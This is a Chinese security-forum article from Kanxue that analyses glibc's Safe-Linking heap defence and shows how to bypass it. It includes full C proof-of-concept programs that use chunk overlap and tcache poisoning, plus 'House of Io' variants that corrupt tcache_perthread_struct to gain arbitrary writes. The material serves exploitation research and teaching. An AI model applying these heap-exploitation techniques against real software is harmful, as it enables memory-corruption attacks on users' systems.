其他
Safe-Linking机制分析及绕过
本文为看雪论坛精华文章
看雪论坛作者ID:笔墨
环境搭建
git clone git://sourceware.org/git/glibc.git
cd glibc
git checkout 76d5b2f002a1243ddba06bd646249553353f4322
sudo apt-get install gawk
cd glibc
mkdir build
cd build
../configure --prefix=/usr/local/glbic/glibc2.31
make
sudo make install
gcc poc.c -o poc -g -Wl,--rpath=/usr/local/glbic/glibc2.31/libc -Wl,--dynamic-linker=/usr/local/glbic/glibc2.31/lib/ld-linux-x86-64.so.2
Safe-Linking 机制分析
#define PROTECT_PTR(pos, ptr, type) \
((type)((((size_t)pos) >> PAGE_SHIFT) ^ ((size_t)ptr)))
#define REVEAL_PTR(pos, ptr, type) \
PROTECT_PTR(pos, ptr, type)
下一个free object的地址 = random ^ 当前free object的地址 ^ 当前free object 原本fd处的值
Safe-Linking 机制绕过
void *tcache_allocs[7];
for( int i = 0; i < 7; i++) {
tcache_allocs[i] = malloc(0x98);
}
char *chunkA = malloc(0x98);
char *chunkB = malloc(0x98);
char *chunkC = malloc(0x98);
char *chunkD = malloc(0xb8);
for( int i = 0; i < 7; i++) {
SAFE_FREE(tcache_allocs[i]);
}
SAFE_FREE(chunkB);
memcpy(chunkC, payload, 0x99);
chunkD[0x98] = '\x21';
memcpy(chunkA, payload2, 0x9a);
SAFE_FREE(chunkD);
for( int i = 0; i < 7; i++) {
tcache_allocs[i] = malloc(0x98);
}
char *junk = malloc(0x98);
char *chunkC2 = malloc(0x98);
SAFE_FREE(chunkC2);
uint64_t L12 = *(int64_t *)chunkC;
uint64_t masked_ptr = L12 ^ (((uint64_t) &arbitrary_variable) & ~0xf);
uint64_t *chunkC3 = malloc(0x98);
SAFE_FREE(tcache_allocs[0]);
SAFE_FREE(chunkC3);
*(uint64_t *) chunkC = masked_ptr;
char *junk2 = malloc(0x98);
uint64_t *winner = malloc(0x98);
*(winner+1) = 0x112233445566;
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <inttypes.h>
#define SAFE_FREE(p) { free(p); p = NULL; }
char *payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x40\x01\x00\x00\x00\x00"
"\x00\x00\xa0";
char *payload2 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x41\x01";
uint64_t screw_up_alignment = 0x4a4a4a4a;
uint64_t arbitrary_variable = 0x11111111;
int bypass_demo() {
void *tcache_allocs[7];
for( int i = 0; i < 7; i++) {
tcache_allocs[i] = malloc(0x98);
}
char *chunkA = malloc(0x98);
char *chunkB = malloc(0x98);
char *chunkC = malloc(0x98);
char *chunkD = malloc(0xb8);
for( int i = 0; i < 7; i++) {
SAFE_FREE(tcache_allocs[i]);
}
SAFE_FREE(chunkB);
memcpy(chunkC, payload, 0x99);
chunkD[0x98] = '\x21';
memcpy(chunkA, payload2, 0x9a);
SAFE_FREE(chunkD);
for( int i = 0; i < 7; i++) {
tcache_allocs[i] = malloc(0x98);
}
char *junk = malloc(0x98);
char *chunkC2 = malloc(0x98);
SAFE_FREE(chunkC2);
uint64_t L12 = *(int64_t *)chunkC;
uint64_t masked_ptr = L12 ^ (((uint64_t) &arbitrary_variable) & ~0xf);
uint64_t *chunkC3 = malloc(0x98);
SAFE_FREE(tcache_allocs[0]);
SAFE_FREE(chunkC3);
*(uint64_t *) chunkC = masked_ptr;
char *junk2 = malloc(0x98);
uint64_t *winner = malloc(0x98);
*(winner+1) = 0x112233445566;
printf("Arbitrary variable now contains 0x%lx\n", arbitrary_variable);
}
int main() {
printf("Arbitrary variable now contains 0x%lx\n", arbitrary_variable);
bypass_demo();
return 0;
}
不用信息泄露绕过
Safe-Linking 机制
victim = _int_malloc (ar_ptr, bytes);
[…]
if (victim)
{
tcache = (tcache_perthread_struct *) victim;
memset (tcache, 0, sizeof (tcache_perthread_struct));
}
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
demo分析
/* House of Io for Malloc in Glibc 2.32 - safe-linking bypass
abstraction layer high enough to be be universal, though somewhat
optimistic in terms of the availability of exploit primitives */
#include <stdio.h>
#include <stdlib.h>
unsigned long victim = 1;
int main()
{
long int *a, *b, *c;
a = malloc(20);
b = malloc(20);
free(b);// 释放b堆块后,b堆块的bk被覆盖为tcache_perthread_struct结构体的地址
a = *(b + 1); // 泄露得到tcache_perthread_struct结构体的地址
*a = 2; // 修改counts[0]为2
long int *z = (char *)a + 0x80;// 偏移0x80的部分是entries指针数组位置
*z = &victim; // 将entries[0]填充为victim变量的地址,此时会将victim变量的地址当成一个被释放的堆块,大小为0x20
int *v = malloc(0x15);// 获得victim变量所在的堆块
*v = 2; // 进行修改
printf("%d\n", victim);
return 0;
}
#include <stdio.h>
#include <stdlib.h>
unsigned long victim = 1;
typedef struct hi {
char *a;
char *b;
};
int main()
{
long int *a, *b, *c;
struct hi *ptr = malloc(sizeof(ptr));
ptr->a = malloc(10);
ptr->b = malloc(10);
free(ptr);// 释放ptr堆块,在ptr->b被覆盖为tcache_perthread_struct结构体的地址
free(ptr->b);// 释放tcache_perthread_struct结构
a = malloc(0x285);// 重新申请得到tcache_perthread_struct结构
*a = 2; //修改counts[0]为2
long int *z = (char *)a + 0x80; // 下面操作同上
*z = &victim;
int *v = malloc(0x15);
*v = 2;
printf("%d\n", victim);
return 0;
}
/* STRUCT UAF variant of House of Io */
#include <stdio.h>
#include <stdlib.h>
unsigned long victim = 1;
typedef struct hi {
char *a;
char *b;
};
int main()
{
long int *a, *b, *z;
struct hi *ptr = malloc(sizeof(ptr));
ptr->a = malloc(10);
ptr->b = malloc(10);
free(ptr);
a = ptr->b;
*a = 2;
z = (char *)a + 0x80;
*z = &victim;
b = malloc(0x15);
*b = 2;
printf("%d\n", victim);
return 0;
}
参考链接
https://gogs.waldemar-brodkorb.de/oss/uclibc-ng/commit/886878b22424d6f95bcdeee55ada72049d21547c 就是在取p->fd和存放p->fd时都改成调用REVEAL_PTR。
https://awaraucom.wordpress.com/2020/07/13/house-of-io/
https://github.com/Ruia-ruia/Exploits
看雪ID:笔墨
https://bbs.pediy.com/user-home-589842.htm
*本文由看雪论坛 笔墨 原创,转载请注明来自看雪社区。
推荐文章++++
求分享
求点赞
求在看